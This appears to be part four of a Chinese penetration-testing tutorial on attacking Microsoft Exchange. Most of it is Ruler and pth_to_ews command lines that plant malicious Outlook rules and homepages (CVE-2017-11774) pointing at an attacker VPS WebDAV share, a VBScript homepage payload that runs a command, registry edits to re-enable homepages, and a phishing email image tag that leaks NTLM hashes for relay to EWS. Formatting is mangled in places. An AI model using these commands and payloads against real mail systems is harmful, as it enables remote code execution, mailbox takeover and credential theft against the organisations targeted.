渗透测试中的Exchange( 四 )


2. Ruler查看规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug display增加规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug add —location “\VPSwebdavshell.bat” —trigger “popashell” —name maliciousrule触发规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug send —subject popashell —body “this is a test by daiker”删除规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug delete —id 020000006cfcd8d7webdav可以这样开
pip install WsgiDAV cherootwsgidav —host 0.0.0.0 —port 80 —root=/tmp/11/没有CVE编号,但是有些版本Outlook没测试成功,可以看下这篇文章Outlook 2016 rules start application option gone
3. HomePage1.Ruler
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug homepage displayruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug homepage add —url http://xruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug homepage delete2.pth_to_ews.exe
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -Purl http://VPS:9090/aa.html -Type SetHomePage 的内容是
<html><head><meta http-equiv="Content-Language" content="en-us"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Outlook</title><script id=clientEventHandlersVBS language=vbscript><!-- Sub window_onload()Set Application = ViewCtl1.OutlookApplicationSet cmd = Application.CreateObject("Wscript.Shell")cmd.Run("calc") End Sub--></script></head><body> <object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data=https://www.isolves.com/it/aq/wl/2020-12-25/"" width="100%" height="100%">这个是弹计算器的 自行修改,
在2017 年 11 月安全更新修复,CVE-2017-11774
修复后 Homepage 默认关闭,重新启用:
[HKEY_CURRENT_USERSoftwareMicrosoftoffice16.0OutlookSecurity] "EnableRoamingFolderHomepages"=dword:00000001[HKEY_CURRENT_USERSoftwarePoliciesMicrosoftOffice16.0OutlookSecurity] DWORD: NonDefaultStoreScript Value Data: 1 (Hexadecimal) to enable. 
0x08 NTLM_Relay在之前的系列文章里面曾经说过ntlm_relay,ntlm_relay在Exchange上的应用也很广泛.
主要有以下几种攻击场景
1. 普通用户relay 到ews接口由于EWS接口也支持NTLM SSP的 。我们可以relay到EWS接口,从而收发邮件,代理等等 。在使用outlook的情况下还可以通过homepage或者下发规则达到命令执行的效果 。而且这种Relay还有一种好处,将Exchange开放在外网的公司并不在少数,我们可以在外网发起relay,而不需要在内网.
而outlook有个设计缺陷(具体版本稍不清楚),又可以导致我们给鱼儿发一封邮箱,对方只需查看邮件,无需预览,就可以拿到鱼儿的ntlm请求.
我们给鱼儿发一封邮件,使用HTML,在里面插入以下语句
<img src=https://www.isolves.com/it/aq/wl/2020-12-25/"http://redteamw/">渗透测试中的Exchange这里支持两种协议,这里说下两个的区别

  1. UNCUNC默认携带凭据,但是如果IP 是公网IP的话,很多公司是访问不到公网445的
  2. HTTP协议默认不携带凭据,只有信任域(域内DNS记录)才会携带凭据.域内的成员默认有增加DNS的权限,可以用域内成员的权限在内网增加一条DNS记录.
给鱼儿发送邮箱
渗透测试中的Exchange

文章插图
 
当鱼儿用outlook打开的时候就会触发请求,我们再将请求relay到EWS接口
渗透测试中的Exchange

文章插图
 
relay到EWS接口查看邮件
渗透测试中的Exchange


推荐阅读